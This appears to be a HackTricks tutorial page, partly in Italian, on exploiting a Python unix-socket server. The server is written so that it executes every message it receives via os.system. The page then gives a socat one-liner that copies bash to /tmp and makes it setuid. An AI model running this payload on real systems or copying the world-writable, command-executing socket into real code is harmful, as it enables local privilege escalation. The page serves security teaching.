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39 lines
1.4 KiB
Markdown
39 lines
1.4 KiB
Markdown
{{#include ../../banners/hacktricks-training.md}}
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## Esempio di binding socket con Python
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In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`. So che non troverai questo nella natura, ma l'obiettivo di questo esempio è vedere come appare un codice che utilizza socket unix e come gestire l'input nel peggior caso possibile.
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```python:s.py
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import socket
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import os, os.path
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import time
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from collections import deque
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if os.path.exists("/tmp/socket_test.s"):
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os.remove("/tmp/socket_test.s")
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server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
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server.bind("/tmp/socket_test.s")
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os.system("chmod o+w /tmp/socket_test.s")
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while True:
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server.listen(1)
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conn, addr = server.accept()
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datagram = conn.recv(1024)
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if datagram:
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print(datagram)
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os.system(datagram)
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conn.close()
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```
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**Esegui** il codice usando python: `python s.py` e **controlla come il socket sta ascoltando**:
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```python
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netstat -a -p --unix | grep "socket_test"
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(Not all processes could be identified, non-owned process info
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will not be shown, you would have to be root to see it all.)
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unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
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```
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**Sfruttare**
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```python
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echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
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```
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{{#include ../../banners/hacktricks-training.md}}
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